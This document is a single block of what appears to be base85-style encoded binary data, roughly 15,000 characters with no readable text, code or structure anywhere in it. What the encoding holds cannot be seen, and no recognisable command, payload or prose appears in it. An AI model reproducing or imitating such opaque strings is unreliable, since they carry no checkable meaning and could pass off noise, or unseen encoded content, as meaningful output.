zDuH|~w*wfR&HzTM-mWClWMC)ecL7C)xf@$M6LQg^#PE1=dYgfvXnHh9?*&W;*$h|#SPFP5@W=Tik}_~Ruo8*HNUwkd zW)uKp!6;xAU{~NNz`DSSz+xO8ac7si4~z}h0%Lv=M@|El19=rNj%`eITs({uDKsuP zAv|I!>4qPPG#>P)fhUj{r1XQ3z_@JVWTbKAFkqYvp1?S$w!qTBdcbI45-`@|1IBVA zi`jA~Fpf(zFzPFTv3@Zpeq7e7$?<4U|C=iFoyawr-3Y(pm<-d2#*IBNhBSZ)R;d( zfE^(|XdNft$~d+IANV2Os8~c}hbmbRG75%N7%yVkA&KH=x8x0smh6CWtZqU+a{Ov` zz8{BGfN>?54UGBaYuKUSPiBwRXOJ;O29S?qOaps3h7#Z@_I%4)7B5Nv4GHXWJTP{7 zl)^UH2aK`5%aM1avMZKxqu_yVvTuplsc^8xaaUvcUWZzYj5upBVX2HJM^ARhAedW?QaD}yKi=|>Q6|2 z0tr!2TnCl{KDUF}C8od_V6x-lSjY|`6J&A7ULFx0925~p+Q5-d0pr;22bKU{5f>U4 z0?~K?GLCgKFt(crjB{jpXjI&qs1VYMxag?qP;MgVamZW1Z#7_!|JHwXfa^H70d8Qp z9p^g6b%@mvGg92rIe8zutI!Io=~Jcb8;$_RP^JOnY*_{@3+%>WQ(&C-%D@<6;nM04 z;)ztj!?{DDYC#%vm|@ak%tzACWKWc?^uFO~{hoGluU>Uq=4)pA!IuULhN#R(GU?2~ ziH@>H@n@ylWYoWV2EP40njiG#)*Q3m%C=rtX1c7cpz5*>OV&RgzQ(*H8^$~`@e$*l zXRowGp?I@##5qF~yM!MtmZ^dI3E2zYxKiDR$SW>QHJGnA)3+h7NYsno==gE`1J6CJ zVRHvsat0Tc)s(r~7Mx+8yA?M_z)DGV$?X39)58vV)fKpx#Yo?KsWWlMQf>=!#de*CQN-vv*XtKQMt^82OEE1Mv?;q5mMPGs)?yk)x8blI8x`3E92Khm_- zeiGXz$ubM+fsW4KS|X^!2NvcQcX;!8iCmf^5UCYxq1ZDQiaQ{7qj zz{$?LL@c5$$NB8GhvkaB=Z%kzGBqYS3XZCUeO{G3o5YNn6ew}HHpI4B>~{HvJ_)5A z0+JNw-AV3(65lIQMEjgnm`ZX=64%bnSbD!ItfSgNLH)=*Mi>sy)mjJ|?-)OwgP}vSkU4My9lnAT4A|rlzzA3leDtNa9Sg znkl)QdB(+t+{^s#VnegCB#|H!P3V}?5<#*CiOOu$GNsjkWCGGSW}~Vpd4T!d)rMka z#k81fP1|I}Eof(8N^1cL+DjkLBHu_Y`JEj45pvY~W^sB+hJfHl>{e$rL0yldNt^ zdj*m^NaI+Ny(5W)0Rbt&OauhTO&5T>)QoATq>YgjeGOXpmky685;|Bk ziK(b3Nazu?M*7N(QDikox#+^Q@U^CWhfH){kV!T+r5$x8k%Iq{MCOu64qS=q4w61| zY>FkV5K@cKAhXfaRCEL+a5J3>=ABu+iP=FDabtJAQ=0TVum=)9 zx-6Lm66T?k6o4pmm7+REi`EP|?CF8SGWMrdo~fu6xDE?#Iv>=~fEw)h_IQv;i~mh) zv4BMK`8O>Sw4VQ_?Fa4OEacHdU^;+4ou@HBmeT)Ul`z5|p=kKOY5kxfczp00fU*}s z8}x5lB^c;`w~!0kzqO`H69MJ&e=z_PR>Ye`g5BcZ+ByZ=fPd3U!eIWpHU_kRYYV)+ z1=@d)q8h0F-9jd4|Fvw45lsX%;Kjc>MxE|UB3UxW)GaA7zRXcSYiboJOqu7EEvZla zU>34c%HYmyR%$t<99gLfNU?K2{-v{ALL#}caj>P;I zX#^zJJZD*P3FDQ@Kw^y^EAKZ*tYJe*@+eGAyyr=9;oVB(-mRh^A;*rBgId-dNi$x- zUaQH>3=30QEJ$WhhAkZh30FgqW|;|s@K-Z5r#{NqA z#X!_px-*bk%t}eEf{3tEk&yCcrbbx_LIR&w(7c{0jS|b2*aPMc5-xBQrk$@TH60`v zYIRF0IgUhH!JJ`WN!##yG+a*%?t6je9@O0iPm zkn&=VDO%DlLJC$vYy}<|;)yWbST*5+LG=X5fmNyqQg9!!A0*VzAh|JTs9I8ICZShg zhmx1X996QWc7g(CDY&_LH5S5VyZ%aPtbw(dIi_MI2#GnYR>?}Hlrw9X7O~be*<|*7 zg-#fnQoNIy4YAhL?VxmIweTiaDDK!WrYgSkGLdqSj(}p=EAZ}2? zoWY4FH4jn?StWWg#j?@3+LUUVj{31QD?UiDf+yMuDR}s$qc8BNwPMY6Nwp02{f1h+ zH-!GWH`YTAPxwW!q(EX*Rk&ka8K1#G!CQ%e{V_jDroTz#a5twjy=Wo zBoaK-dA-V}iGULCD=Z4T9Vn`AN#g_MLS|}=B~5w*^a<-Q8)5qp0unoTF#TvZLBgp6 zqpD;|waH`!%GQ#)gO!3%iVi{wjbo4hiUZX?ixp}^OWHO_IY2%YH%OGXS)Sbh$NU^5P$YuKn9Z@l* zW`hJPEVOeAQg%>P8uc`>jqFthHe#@Mnhla6vuo-l(+q zAQ?j*SciJ5o7lS#*7`yV014MB$kQ>U9NxqnO|zzvHnW2VcRkz-Zkw6O3~O3CD0NsR zVdF|UzL`17u%^7;%(O_irm1XUx4_Tx#Tz68C@IX6azL`?wm`cIk|irI!_iD|D_am^ z6|@4$0)Y18vbqW9U>h?z&zc&(jYP6yrf#*Q9)eUXmY^9h z+2I8{FfFvUlSoTZPi=+N5>`rM2M!F>qD4Up2L{|zG^PFq3GO7gul;s18w#u`dv`KN zfkt*REw)+HObK?!V79<0t^&yfs=_FOR09%@4Ma}gl-3VYAiFEz!qP$#$(QB)g+gWn z)0*VNG?|4ON-v)hwxrkn&=6_$H*HSSgEQ_-TYW=4wfcgVa)1W%4{z z$%i1}@+<%&GYKHbT^neV_pmqV0!%1J3joQ2TZ>i%lGR_*1CVV0lB7#`B~Ospu7VW` zvxGUi)0*}PlxS=MYu@PXWj6#8JTGEE;^cvJ6eNEr38B|8r3vig=0S95b|9HUo(wa? z!IYA|Ia+8XhJVzW}Ikebg*-Gjg%;Bf#kJ2VgAs5g4zJ;~@Sx z)?YaaWb}NDBO_xE`LNLcz*t3qQw|wrAz*A!n4{-qbV!uJ$q?lf6ywPM#8^QB^3g#V zV3hIKsdyn{Lv#*L0>*MmoP1=Aj4CHz4H)Y)G&lu#84YQ23TSgG=x}5`V4NE>fYG2m zFkZZjs@d=#M!<=a|4$6|(s6ix+Xlrw;_+5keR;!cn6Jo(&Jd8 z%v!^f9rLqQy64nvpY(fOZ?DeAWG_J`0aNjpmGqV5Iog8=h(&s@-g>w9@ z!knvbH53}yO7s0T_gyFct~)V2x9mElD$k@%s`(|2T%n!yGE-~LPKi+Ukk|A%eX-9J z>%{BiEPb2qIB(A|Ny?4CGs)#@i4^nD+ZbEP_PkqG^3vKz>%NaGJz(B+r*(J0PSN4=}BkB$j4TIYH%ZVY)xIh*FYh`K82 zhH2vT+EJTRRa<|UL>Ilgf6MH|h4A%X{GPwx!*{=XUiSLH^Sduj-*UYyM}Nm}hthU8 z*d~%mzr=q5KZJXLd+~jix2gz8-L^n|`?8dU!qPwUWR7Pft4v9~yIm@wLGSQnzeGpb zW3)kfu)!~t?~i`hlOCkS<(^a%*_GW>{>J940iE#YBg+!E_{c8gP9mI->`lm0$)UFU zESvA$G<`P5pnZ;n)ae4Xe7??+ea4k5M~t)u%(bfyP0`CYjM<to_Pl`P8;zU=e1``X=$dv|IF2kaZawIaN4_YT#$KJWcDJ?R%2 z8@GAZFJr!|-aod#JS^YodAZN5`r&Ky$W80iCDXzuYV26e)9a_)E(7zupC;b2bFeko zXKzfG>3N%;b&D1~ia1(paa~O0tf^soe)Nwm{^{)+^cY*K>^IW)f8C_r3MJ;gGB?Wc zbL%^JcYhoa$q&7L$`8HnAv6V`*BSz3QAT;7^nOQ=vg<)HF8QKLqKcDybI8=&L)qlA zd=;~c6>W2^BZKz|zf)EEHoh;;r~49drrqJNkadi+eXMWXRU5wCW*M18__E-FL^#~_53Z%#vKT?e@a&si#at+XJ}b18`oHxo}nog zGy60xZT##g;+6pTJ3|os?Im&r!QUJ~vM4cxidTd=4HRZHQ0$?B;x+LG75%7~D@1mg z`-ayS`JjV|3p!@Hv`@U=^2*flsMN$|dMC4EUz-SYjx@eFD;W?F@3UHLtRh6FtL@U# za$C<)(Fxa%?@ms$JhXJmXviS3MF?CO1H0rwqEr|faukM!s3M>kBIb*L;u|VzQ87%A zML}^y1cG~Zqm4u6;gW{BfsI#}4Q&zmspgga`NG{Pxl1+%&3f9~c2av-AfVsyYP#%^ ztfKwGO%uGeEc$FSDaFT23nw|>xXKgU_q-hnh(D3v^QgZxd(Zt|)!zai9<3#($!UIR zD^m^fI$XhUkRj;FV)D84HWU7*lZDAL7k^Az-#mRrp_pbwah%l@lTXB4QJAaG9TW_! zw?vJ;^*i+N@QcXrJi^t-$uX}w7*S-t$=~g*sH7YJTBXIJYK0p<51w%9%yauG zuw<@ELn?&9C{E!P}-q#1UiQ-rPc0qeG6`)21Fe|13t* z{ic?i-RrvNI$t!-PrO5p`JOI5HZrjMUgi3{RVSvAqlMmocc_T6QZ|@BVdu+7%}t{R zukl3hGl}puCwmd6#b8wKcg*`1e473v{bJmJ)=zf_Bb9`yK3msly*>PVdsmZjr%$_v zgbcAe?MzQeMaR(S!eZgEu+Xv)zt(G2i>9sC&*HKBmABg_*{5F@FB{i=xTN%ZnR29F z)?0ez{=AxZqa9!47C+kD(O&TLYI$-#!!L3~wQOR6Ow>%5%Yof;*@Bk#vD!xz?0&Ee zlLYZ|v~RqIC-3epQ&n?(vgYO@{aTXr{bgAzjlaxVIk4KSCNm(tW}05f(e=((GdKSX zsC;+S`d-0o(KF84BwBb&Pu-LQHzHT^*!_;58gMVZS(mOFc4dCDoBKhxAn@tVA15jC z$?w#6-8p(@QS)mhqqSQXemY*vr&(RExh3g*1BI@Q#{KVDH~f;w@4m(X>sxAsb0uS!H+Q!ws_ib2x_6!PpO8!#kOmA2jvY>=M7VsMTn4d>Lt(hW*`Q z4{rtGA$jd6)sTvjn=9h&MNA$Eq)P_8on804O3$1Bd|I~G{LhzmB)Wv6UFg3cZmNFr z8Wvi2S$1z-^2DR!_cC1QWh=}5+r5ok_T)6rsXKCY?!l2)jJniaHU@>)$}YPUZ%nFq zc3NPC`<*x=!)qo3-^Dl7upOr0(2eohbuN0eU7*!!K)On(%+({l;b#0D#%;NqA=^He zUlO*Zch`FySgXF~dTEs8g6%s~{B9Z@5zt69SlBy!&nPt^vDDm!WjG!G5|s3d*YE{u zk8ju~#_CHRBWLGs-~KE5iJ9A)k#!y7#%DLn1`CqILqa$3r-dBlAGi?l%Fr@=q}(Nj z?!9nESpma%gRNT*`|e=jo+nGFmRdMpb(b=7rJt;|tcgq|q zJd_poI)9DkY7Lpn`C)BshuxQ_f9ngG?f=Vj;{`>ft>fRyUtvdr=-VI2|Z=Ul7BE{nwS$mq{h#j5b#xh&Y1{ul$^8t_0Gwfs(#j)mliBqGWm-4 z)L?}#3UhyFhB)KzOW+^NFc}k^i|zmv`t^T(V#p79^#EK?<+o(MZ#6 zA50j#4X2boq;0$7xiQqH)jd|xNl~?Rc?`dPdEooIrz%2P6|5xnRL?xA88rRq_ry8d z?D)cK7UO5!+Y`^SOJO-Yj>j&8Z&LbkYqcTId$X*6H=1o~)EIuao8P7JfLD^zPuFtq zhNJQ42TUqgS&#ei#y~9CQK)T!&ASyj-?FziSf^Ugcr<@2k6}I@!+bYJx9bl$U7le0 zQGyU3K9D@D`_8p@`?G@waW4e9cCtN&bd2VF)6h7daBeU zk*=A|s`H%f{rH|U3 z`MA__^}TWS@v7rAws?M;moipilt1kP$75XC1bGctoXg796EOWgCF=e7+beDhe0;BQ zeV&`&FX_gLQhTA`4Ik*;k^7QYe-MpYt{e7HYFf)V{j#G=+Wl!K8ne1?FW&~X7-aaF zE*%Whcny1WxZ7@BI(BjL(9;*6_?M0Qkv4PF((VcC?zM{T* zTf|GOHND%jxaz0WgwZ#p#|j*_N(i<%qWFsh@6%ycY}#S2|ezW>m69L*~QXjP+RobXU5-#X*i?Trq`t z4a@P1#q=EvObRG5Yi&BZU=r>7%EM9t7YkMfb(`2+O;~%o)5Fa?W`9ubd}%kznJU-8 zD&?q%8y0~ShQ^%X!?6kMhX;H2Ai`_7Ia;t(m7-R-NBq;(3u-Z!n*8$H#;fkQa<~OKzp_Hxa3Vm7%u1gfcwB{Wwzxi`s z-=!X#@1CJ0Gs!D=J#(yyFnYgbox;4g>aXWU-;Ljs5wO>}cdRLUxkgteD`M=0N|V>F z`E;AzUw6FV6S_8S<*UPb$*sFuBT5`K-(K@(Q0wxpKM0$*OK*<2^yd=S$0KFrO*8?e zFiV@*4h8)6m@=mznc+ zhu!Xxhe~<{-r_Hg-VgX#zhk)X;PBhTOxNgUMdjvCffl*FwpV2h$E}mstoV3?QTzT` z-=4=m^|CpJF%o*bhA+OU@*;oPw({6mnrq^@vE4OqOBX#(*f62(0{wf}FO?0^C!TEy zP|B33bNOjhW3(_Lw`0M{sI3or)xD3uN_TBH;ITW6*KX(h(_%+vGs29^0yi}XZ`#%M zY15L}i0F~?JJk;iS#Gm*6V-mLyc=CQAP2|a0TF9D57n!cn zv5fmC#)ie0GcA7^iI;^2kKcG?8UED@Tkr0Fv>@^Li%-rhyRiEL zHsspHXBc0nVfPoUU!Mmlj6-Fk9v!Y%pKbF{$??~W3VhuZHvdzL&ccBUYp>=#H9j6N z^)R3Q@Z9PCzdoFNa3HeA?!c2@hu*Ucvll8Ou3@xmcF->O$Y6y;D%oOcx`T$??as%9 z#k>6Spi7lSi4#Xg0&1pB4yS%h_(1C$`@}{yDfru0SJcdnp4Zn!06MMFy{Y*^z zVh#0iFZcp$ibeF>#0x^sOD})(?W@vtOaBk8n$IHxOH2}vL_7KBTYAkj-c$3STD3Q~ zK77|Gk6lwT?~gfssjppkzG{>`r|0=n{b9!K;e(-yvRAHIo~b+7!guB7N8Krs;qFq4 zPbHa%{kBrhzaF9VieL5Ew$*me&KkW7v%ozT{1e2@fElmD3sY>5P1>_=g4L6?s@75w zCX)SM7syvjIfXgh+rVUOKHHLA=r}e-tbJc>q}ZFOr)xLetn1GXy|=aE)6I94>wX?I z<`~8)YtC!9>Tb8rxp;?z%HN3Utt zoA6s*?;Do;HhMr=(Bh?{;PM4iH{3+Kft=6IaC^(W_zbKQ9^UNAc~>Lj)n&5@(R?2uW2Sdmik`vJeL=5i8Pc$6W|b@R)GafsX>jRnK{P zml#alBr~G6$ET_3gQ?9r>)VvGtLkpNxLwxWGec~n zMyguYo#M3tMX!0x;tq^^@$s7+_b{un^7i<4?_euoc)fexE^$+f#k%dUEzYf&*7m5< z)!AZ~zzVvjLg|%8C7J%!_LVwA6RkfT%TmApKxhX2HZi0FxA3e}^IbA!Y<-L-8;^Kv zZl3G%b9|Yy#oozggD>=EoLqPRg}+RJo!(WQ2p`u|pSOg$CU02BDDGQTq~#Xin4A4@ z6_0!Kc-^z#D-+4gSljn%-R|x4-o!kXU83__>t5E0xCffM)XOB&t0uj72@dL`e-_gB zEXb}YnjNW^J~$;QchRn-v0^Xt+d0G@U2rdN?@sERpjAx~g=q{$`-a&`Dq>wEU1jY7 zlb7MUFGN{cZ0NncA*HzD*kzCYSKnfsKRDh`U9KUxt78m-DzcpVz%9{?<_$ zmd&5LBkex$Tl7zO_E zN=$kP>Hj;P^Yxo)jGNT%g)ygg^oC=EE1_4x@%~uFfD`O zB5=v@sb}2SM9pbn z2JakR>Bi4gI@3xIczkJoc1~sW5wZN1d;M>Yw5TXxt!8*&^$WiW`C{YqopLOme(T$?o9)YL;}1k)6yKymWER z6k_?lbRPG-dEGl9_$iFK^`N@Ffz0)RZFhIK{%{F&eVVgir9-uO`uDzhrBlT<4%|zl zD-Or#+zB)E@-k(13XW;Zp-FR|@-aeUT9>546iKDUuw&<`&R2% z@8Yw^P2D>4SudIIQPxyK)BvNmQjm!Fy!X@FK#%JQS!G>kG8=!p34bc>JoYjw)K%=6 zkMg_c&P?M~xgAzQmc?;9uH9@uOX`%B-y6IC>0XN@j2QQqAGmkqUVPnq3f4t;J!q<_ z_$ zXQzT=Z8y6M9oRniSKdwQ*$cy)Rlm|#6i8?U#YGnEIZ%5`Zn5{uzPm>v^!RHtPHg~f^)lUv#}4Bg94 z=|$X~^5&Q6(T>@I1=>WaF@!fioIjagFhN)>InNWM~fbme&EkThxBKyxbwm%8pGJa+4u>?H_ z$GP89u8|i>x2wj#$aFYta>BJmX6dtfIs zEA2q>Gm{$`-+gX&_U4FL7+>DyThY<$^(>Gk@h&a$*gAf>pQjQnUT!uYTd?hyptI>C z?MFvm>l|NsYE*=G^uu}Gd#av$`S8}KMzy#6rkey@5ZW{KM6Sinm}~l~6a9TODmTCC zf8uxkyd_<7;O=3iFOBiz)wlbsuy{lX>1ugkr7+jAh1g;O?rG!ol6v2aGcY@q_tar}mp^@Gt$l9S z$GmL;jb9e5DewPDze+uOackL`6T}QtaIdqi$1VN9ui_^w0}l>Ii7nsuNz!-l>GL*| z#*5J@?o%sGGIx2>rlm$yP8_AzDkU_JPr3i*+?hMST$Q(u^?o^rTYc`z6UpmdDQzH) zZ-20>&;8abgD1b_iC(<5`;9?q%b)D&OrdZX7asSbdEM*$)Yt!MzelvJb%obmH|;f> zD%$7sJuUUP-J=jMOB{Lsc0+*Z*B7VgyLw)>e@dH}v^1p1{kq~u>#jQ=R|K81e=$t# zF$4D$%%v6XE^Vkd)-#>7e57J}D8I(nce#!0qlA6dP1TbL@$)W7a}%k1K9E>)Nv3O6 z;04J%Ro@co&IWDOxp!TUv42!xFO0bR;$D0VjY}lehSSJwJPcl-HHDeHZ1GXY?B68*ICNXyF~t{O4iBTyt=*V%g#1 z6KA()o@s9DfB7VT-7#asFuIeWkpBu#!JV6ged`K#br!T9E?h&AZ&bT@<;I1kR}H5& z&#*ZdQ7*YH`u#$l=*986x6?+<(087s^q_6VD@lP+zu2%@)`_H6yOSb$A)0QPiCV9Q zpY3d%Os{!ulRs6p$}}>)d*MB$$0r+9MGr?OyExH_F?7##U8=3O*K1Rnsr;hfRulXt zte$_{bNox!p>4g>zjy2_-*Q3dPEC8vv)@J`d%jpEZ+dg!Wmx-#jJ()4^&bnR+;Y`so` zP|T)ivE^ZF1-tmSe!lBvxo6rP;)DgbcYT54vRSq-Bd@B(1V)FvKUpuV73rfJIvAN5 zm^Ag(@39Gi_5v>VTB1^_heC^&JFh!-+Hw2N@Yzq6IKAM1WgVu@<6aW4d-;I_1`B#S zr`mOVSmxK$TO!f$Mv~t6aL6^IahFZ%hE%=2 z3SN?$YIa$P@V5l_B5qa8D|$bB|D3U>(bD1}dRI=DD}1`XP`@+(^W2#o?vJO6U5Q_l zy*aYl>DYu2+2$Sl$y3dCX4efRFij@A?tY-g_cvs2X`HpR&riZJ zO;GsRgo-tu$G61Xp4GO&p2xklyzU))l)A1~lfJFsNpn!G`zEirtGg#J+N&Q(SKQj` zRO;Av++&U8x5`rbLWcZX_xN277xupnN@_|kC}2+gV87+A_!Qziy0>tbNcA(XMQ)F> z4J2CprcLbp^2qU2#jR`m@9sE$*=R?_?Z!#d{4^$ISIUPuf7{R;@`AF;>9J#Eg94DN1xQERfqOvT`%vdWqnAxxthu{uv8at65f%Fg+W(Zmt|i&_T5t;fzQZ}=JE zGShKN%%#l<)`E5ia-M(IJD|E)KDlDm6pQ2L-Uij0R~wfsS#jWUH>2t7vq485_uv-@ ze_edpk~(@H&MzKMveEGul@^|s;}@=RbE*2Bq4$k#d!jsI`bA_;JSbdEACQ+#J$YWV z&o*M$omj`7yX5qm*|F!Wa-)gK*5Ka3ggDVn>S5*?+l4DPMw#DOtD)2*@LZua%3;UG zs#3qJ9p-T_gV#Op>h&JoY98wr ztW8*WrPyN6XUQuEF6sJ~i3+Z1_fiWNp8CXw6e@I^K7-z)l_v1EV7<;nW3Bzq=XDDV zcRu*o8g4?|LiZND5}P$&>-*)`4p~P|-HZN2-s8QhA>{32&z{=Op_DCRwoh*vOq+W> zYt_44H!1ImnEea#4;Sp6vsZNSd!+=y82r?R`%qiY>)xyj7Ao2NboXUj$`6!HJU8vL z`nmjHr#}w4&5RBxDq44V@rrMb&t^ZPD+dQFCA7S+x7pMtA^R!lnHAss@oQcO_TME^ zZNR0ej4b7?X0;*aEne+?uWpY%N_n+x)qEEv$p>4e?-npjoQajUL5<(cJA8_}0GhdKydTi8y=Rd3|~ zSl|EkuCiUu))`*gwkRt;{c$K`Vb}dNw@$$qcc{%X=ntKLtv;(Sx_YbXx%Tkj$c6T; zzB!GPPu`AA5GdktFPm^Oh21m!s!){JA^_XzT%r^eg?6Bznt@^yG2aXnj`pCaMa33^ zY!091Y$d9Y@(7v*P(BfaR6v|T+D1rP0x^kjr0ql_(hh=d1+64QV%_X$@3NWFYM!I+02U0~?^dL@p4a;RNms*?>Exgt;x~_Y(z32Z%RF2MIen z_^rwz-r!FuP`Z#%uRZ>00fM2OkR*t6th4UiR^1asJ(K{f-y? zv^R#Se$rmn;_X{x$DV7_ZaG{{={p^D`-R$wS1q~5_vA?N7M&ZSm#I944-<3`aQ_Ig z3aOlEK{`q(F9145tU)?Xv>}}!G#3J$Br=dHh)$$R!oU-#ipWJeMLb8UCd|EnYKQ`) zTH*~-9bxAUR8JHkohIHRogthSL2P9`AhstKL2SA}1 z;v(VWi^H)H6z5UVNYEC8;t?t$7lWdiID?8DPf$$u1H~00+z%9HUZA*zifaVj9~Awl zNc9Ir3(c8!flpbeN>RWC9BEHVST{6DZ)Od zq|U7TEf)TGdy2+cre z@qVo{Ynqn_o&Ht3z@p*2cYkqY-JUJAtFAm>BGx?T;?iTGua1m+SCnhDGiaqpjJ-^I z6)A>i&~EX1w=Zp>Rkh5V*e{ptT#7vs=I$6!c>Th4-xS@^%Gc(~F4@k0rxMy#88f>~qs^gmL(v54STgx*&ohJzB z<;|@cURx2f%6NuZ={28M)K>kVu$fI3VdVJeUdBFgt9|L=uOB1^@&3$ohu1yDtr71( zy9Ap&mrARPUzg-=;qtoK;Srz8VIPruDZzc}5B^ zFpFxhb~vqQ=vigNuhOZop!HT--^vlgz0Tc_T6v<^#_Qh0&P7Z89(mHHDmbkc){{9- z^*cgWI`3a-wDf+DWP`|NvA09rt19o%QzJhZCH9h*Ypo)`_@;DX^W~)Y41ufHk|T(@ zzTjS0lEV2njpeZxq*l^_6Odfw9^7?yV{2e20=UC~isCbc2@0thC=B@1Vb$#OY zZhDyUm1o=RwB0M`Z5WZH)4mH$dvYRXos&b@<0?NHSi9~h&$kpsapFT98(X)8<3X%AUPr^;6ueoXT=Ekbi`SKoqe6RN=eGsLqx6HprqL<5m zA(d#}-n}M1X@S+Hl)(i0U5EYBbHv~B`1_c6j%KfeSz=ZYwDXiG2!ge!n|OoNL)Zla zJtK;co)hnpUJy&$m{E4Qpqvn@P9rs zW)U$-WI>A1JVGIwY|m2cTSFG4>bk?bZuQF1_CUm0XIG68<5%fD8Cjn##M!=ocZVT*BX zU%lH#@>+i(iD&FNaITj)|AuVN`1PB8;Wi|m6?*pj7`!sR%ZKmv;e|h{p#^+rLmL%v zC4vHft%ZR2vM&6NNGyl-Y*`w3d6lEXx1T0sVf_2V6i{LV_<~?1q|q?`Edjo@iob-b z;^?x0;U7zXilfWn=2QMr|L}_-@yjAuI^0~K4qpm(JNMjVF_k_?g(2>328UUi(x%8>qr69KMz&|&2%C~(T1;gnMW)jZH) zV-29gDpLW{kX8ad&nc%0X&Ff4b%CQ(gS0I7@6#@FlaF!qMq)bm-Jo{Dm$2Bk2NEA%PBDPR`g_yV;!pb0GF-(6zRFi02^i~;r;UjzRH_zd_0z}LiI0{Q_1_-^_uNb~{lJ@VIp zK|m{@1#km!9?%H504M|O1>m<$7Xu0bOu$Y+3cwfO1i+W$aHMf$ac1CD#i@xm8s0B> z$L|G{lHpdG1wp~PHxEz%$R~z|$P+~^A&EZ_ngc8d$#>)ljCkm4EMOHN5rFr86d)21 z4Tu3m0OA1nrt?ZbIA8?;-+;z-0oMV%@9`ybNx*o(1OVRm1JKkU03T#SfOmjlzzE%Kp0KWk^^T+@S;5EqofH#0nzo~sSKMME;!0&p%FA;D7 zJ_5ev0rCOxv?4J9@t}_bBm(ej8k7L|4Hk+30RTT>9Dolq!~nto5r80o2EgS}6d**@ z4wF|hf}#Bo0KUAw7?2LY_sv%W)&Pu(wW zmy_QB3Z%yYa4Es>EFc5J*VmAC0`Ti2@JlwPP)J%NHAqYar~-5WS^#Z;IzR)U1JDGh z5G^C*07-kWGZWwdm<4bm%-@rzQSqB7HWHEV$=VEjn;qYH#}yJ+M0~K}Di{s0ht`!L zPYG*6dM*H$Z4Ur0)vf?sbzK0s(jEdt0aifW)c~wBAMp2jxT16FGVn{8{xX2eFn+^< z7C;lA0l;rckN|%r0TTdHfbjr)p*aNVE(Ih5HUiQCivhfPbc#0*S7!Wfg82XszNye7 zNGt^4@{Fq|u9k|BW*5MGqUk-^P}mG_AGm79*ozzkCnnBj?o7rRjx!#gkhlUk14;lN z(F0)ID`WvO0UH1rfOG%@kOoKvqyW|ek^vaPBtRk{0f74k{G28R0K>C{gufi|1gr#L z%)$XY-mV!x9;WTrt8d=lalQXTYa09E)q z-S1>KNl8dc0K@^f!kZD&qj0C;Ud9B(=>TJZDZmK8tHUw~%;TnAAdMbd1MtBy17HPk z0yqNZ0A>Sb0UQ7`0r*L`9l#b~16YbHycZ;Jx-16x0(=0A01E*N0Nwz1z+3?K7cXu! z=Yh_RqemS#k5`BGxwbqYJ)cvaT^3e&92U&rR{lGqbEw0M+b}xDmC-mW^KbcFC%EOX z9c~)yu<{wGfs1Q+31ox-0st5Ze}Er=w+H`Zn5#oOXoG7r5YmF6695E5I*0?V(+qAw z^p4jEh7IprbRrCZ6_x@1X&7J}S;NR%b~)%UN*LLHs)JF5@{GTFhK}IHjRZH%9lw7v z!rL&;ng7XAw1rOoi71SJ1StN=IM;zF$mgxdZG_uHtdEiVCmY-_b8TUil>umzcK$zjHBNbCX>1NH%ep->3mAfyif zA|Z{sQb_OT$k8Cj0d9cY3a9`a29yDC=TZ)Q5^w@=9B>4Hx?_N&oHVD5FDs)3l$8K< z<~rak;2MBy=qjWy0WJWV0F8hvfXje$fGPmiIRmHxR0B>C1!T$u1_lJTM5t~6po#MU z^aGp3CQyea(KPyvO`#s$xyVVQ9?M`o+&-dB)M2?yNM{3@dD5r{I}B0_B>t&ycR+s^ z&@%G$;=#99fTSNEldCq=}c>@Q2At zI+RIr+|$Ikr?61ShI+<&`q1A&!cvDqC!%yHv#DZpV5dw-ic_R%tR#s94cX{Yq^Zy; zQV#JRN=g-AkRWHTYPybgW@xY!beV7$p~$KfLvj}=oK3F3nYWjt-UGwXxV zbXK^f1X#AloQc(X6fG(NKXz*n%FtaRP>3=`&Ix{`76bR3u3d0AasPrfg>0s0!fM=` z(49unro}@66D&XkO`|ZW>F{H@EGv5CbV6L8qD(d?4D=~dmD*g+4{v^B0&B0TbNA%Oq50%uEvaSPv6R zU(XPSi+e5`_dFfQF@Z6MR=6j(aZlWV9GDAwh9u&*K1I%mdyt!Z#A8SCLv{tMY$Ibm z^S_RM;~v?=ZcNX>h@cx#L<($f83q@ zCx?3uANS~`KRMi!`nF}r`=lj)*7%ddJ|HrnF68f>A57FQ^6zMs! zyValO2sw#zvj}%Xin~1bXuR(3i+he4o;T+sb8ZvTs4sEOkRmJ3JxtHT`mVP8WXZ#S zN=#i$j6ew!?(usia{3MJZ$f$8&^q^I!M0L~ z$(J?W%==Sf1U|l#f_AmW!=KA<>Mi|~!{ExU65l;EDK*!Zg8 z$b^Y=zW&KM=tp!zT?YFgM)X@}C^FrR-_IJ)R3^ zfdMXhq?wR|3lsMMuRl3KoE+|1V4NJ>#4_M7pD5CbSib~HDM5Yi31WZhUm)(7QluGJ zs2d6?Lm}?5V}A<$=Hze>Ci|1aJ&lojblIOA?s<*e!_EHWa8GpP9)AWo3{F3}hdy#o zNc&SMJ}x30H^j5|K0UgB;@NNZ{TVvG$C;r_9%71j>PtL!%APT3pK^Dga zB3}x&EvzoEl8UV4-yLH=G7KRme=l#rD$hMGl6#mN*vEYnRQS)2@JM2>8HG-Hypo78 zqsUT>BZv>?6hnFLNt9vVQ_}ftYUi*_>FXIm+mXaOC~3kyyD~Jab0GI+_kBLx2AN}H z+|w;v__Z^I)9=6|i<{#ZNm!Y~jmSL@Gqvq^d(x^qVSh@bMiMbl!i0N*=E-Rx%@1-S zNqXfDp+5YR(-uiwfV#5WV>#)%_ZA#!*xkS_LEILC&8GoTY6~5P?ZdtW z6d6JG&h2I_k?+RZt~_>x&DVBs$|Ts8KA#EuF=L|5hB9#+JgkXTq7*v)|0(TCfTOCi zXmUS<>EBISz$vTf|L?o^z5DJx@Ba7i`{oMs ze`CQJ0T81Vypvl%zBHD)dSgTS5Jf?_A()E8wE~@5`8@JYvyURsGytpXqKeVQ!XJJ_WI*{S?zOE9LD&Ur(r zm{UT)^g*yXathN3Dp6^6p$Jqe;w?jm zG5&)-S_RNRe^XA}w8Wp)77<;BmGQg*l;R^SHld8`22g~Lkg%0;=`f1mCxhH4$Q{OO zinv-N)O~z0>z>kpw7Hx|<Zav5EM$VG(-&`F{_a3sY>dr-zpA0J>K?*KA-4i9(fQS(?CN<;)f z*Np)bqgT1BSQhOD6?psW5Xcz$is+%Qx+GmD=dxnO04j3Cvc0|CJpjQq?&y}~p`i#N z0?{slDj?kb*4Bxfs$-$}^u<)$!%67~N6c&URGMQ2-PRWlUG$;)R(o^L{?PjOm#NF7 